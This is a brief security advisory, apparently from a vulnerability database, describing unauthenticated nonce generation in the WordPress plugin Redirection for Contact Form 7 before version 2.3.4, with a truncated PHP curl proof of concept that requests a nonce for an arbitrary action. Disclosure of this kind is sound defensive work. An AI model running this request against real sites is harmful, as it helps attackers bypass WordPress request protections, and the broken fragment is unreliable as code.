Redirection for Contact Form 7 < 2.3.4 - Unauthenticated Arbitrary Nonce Generation

In the plugin, unauthenticated users can use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.

PoC

‘wpcf7r_get_nonce’, ‘param’ => ‘[ANY ACTION HERE]’ ]); $output = curl_exec($ch); curl_close($ch); print_r($output); ?>